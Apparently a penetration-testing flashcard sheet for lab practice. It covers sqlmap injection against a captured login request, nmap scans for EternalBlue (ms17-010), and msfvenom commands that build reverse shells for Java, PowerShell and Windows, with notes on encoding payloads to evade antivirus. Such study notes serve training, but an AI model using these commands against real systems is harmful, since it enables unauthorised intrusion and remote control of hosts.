How do you use sqlmap?
- attempt login to web server (e.g. username=admin, password=admin)
- intercept with Burp
- Copy and paste intercepted data into file (w/o spaces) named login.req
- sqlmap -r login.req –level 5 –risk 3
What is the MS Bulletin for eternalblue? What is the name in nmap?
- ms17-010
- smb-vuln-ms17-010
What is the starting nmap command?
nmap -sV -sC -oA nmap-scripts 10.10.10.40
What is the nmap command for specifically looking for Eternalblue?
nmap -p 445 –script safe -Pn -n 10.10.10.40
MSFvenom: List available payloads
msfvenom -l payloads
What is a Staged Payload?
- Staged payloads send a smaller stager to the target, which connects back to the attacker and downloads the rest of the payload.
- Staged payloads are denoted with the use of a forward slash (/; eg windows/shell/reverse_tcp)
- Staged payloads require special payload listeners, such as multi/handler in Metasploit
- Staged payloads are ideal in situations where you have limited shellcode space, most commonly in Buffer Overflows.
What is a Stagless Payload?
- Stageless payloads send the entire payload to the target at once, and therefore don’t require the attacker to provide more data.
- That means we have a variety of listeners we can use, such as Netcat
- Stageless payloads are denoted with the use of an underscore (_, eg windows/shell_reverse_tcp)
What are the MSFvenom flags for Architecture and Platform?
- Architecture = -a
- Platform = –platform
What is the MSFvenom flag for bad characters and what is an example of its use?
- Bad Characters = -b
- Example: -b ‘\x00\x0a\x0d\x20’
What is the best and mot common encode for MSFvenom?
- x86/shikata_ga_nai
- In Japanese, means: “it cannot be helped”
- Reorders instructions and dynamically selects registers to encode our shellcode and get different output each time, making it harder for AV detection
What is the MSFvenom flag to make with the lowest number of bytes?
–smallest
What flag do you add onto the end of MSFvenom to fill out the remaining size of the shellcode with a NOP sled?
- NOP sled: -n
- Example: -n 20
MSFvenom: Java Reverse Shell
msfvenom -p java/jsp_shell_reverse_tcp L HOST=? LPORT=? -f raw > shell.jsp
MSFvenom: Windows Reverse Shell (Powershell)
msfvenom -a x86 –platform windows -p windows/powershell_reverse_tcp LHOST= LPORT= -f python
MSFvenom: Windows Reverse Shell (Shell)
msfvenom -a x86 –platform windows -p windows/shell_reverse_tcp LHOST= LPORT= -f python
What is the command to start an Apache server?
- service apache2 start
What is the command to watch access log data on the Apache server?
tail -f /var/log/apache2/access.log
What is the command to watch connections being made on your tun0 interface?
tcpdump -i tun0
